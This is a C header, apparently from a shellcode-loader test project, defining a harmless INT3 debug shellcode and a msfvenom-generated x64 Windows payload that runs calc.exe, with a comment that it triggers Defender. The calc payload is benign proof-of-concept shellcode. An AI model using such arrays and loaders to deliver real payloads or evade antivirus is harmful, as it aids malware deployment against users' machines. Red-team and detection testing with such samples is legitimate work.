#pragma once // https://devblogs.microsoft.com/oldnewthing/20110921-00/?p=9583 // introduced MOV EDI, EDI just to make the shellcode more distinguashalble from NOP only // \w this shellcode, VisualStudio should throw an error as "A breakpoint instruction (__debugbreak() statement or a similar call) was executed in ShellcodeLoader.exe." when debugging // In the Disassembly window, click "View" to check that the shellcode has been copied correctly. It should look similar to the following: // 000001C029970000 int 3 // 000001C029970001 nop // 000001C029970002 mov edi, edi // 000001C029970004 nop // 000001C029970005 mov edi, edi // 000001C029970007 int 3 // 000001C029970008 int 3 // 000001C029970009 int 3 // 000001C02997000A int 3 const char shellcode_int3[] = { 0xcc, // INT3 0x90, // NOP 0x8b, 0xff, // MOV EDI, EDI 0x90, // NOP 0x8b, 0xff, // MOV EDI, EDI 0xcc, // INT3 0xcc, // INT3 0xcc, // INT3 0xcc // INT3 }; // msfvenom (triggers defender) unsigned char shellcode_calc[] = { 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50, 0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52, 0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a, 0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41, 0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52, 0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48, 0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40, 0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48, 0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41, 0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1, 0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c, 0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01, 0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a, 0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b, 0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b, 0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd, 0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0, 0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff, 0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 };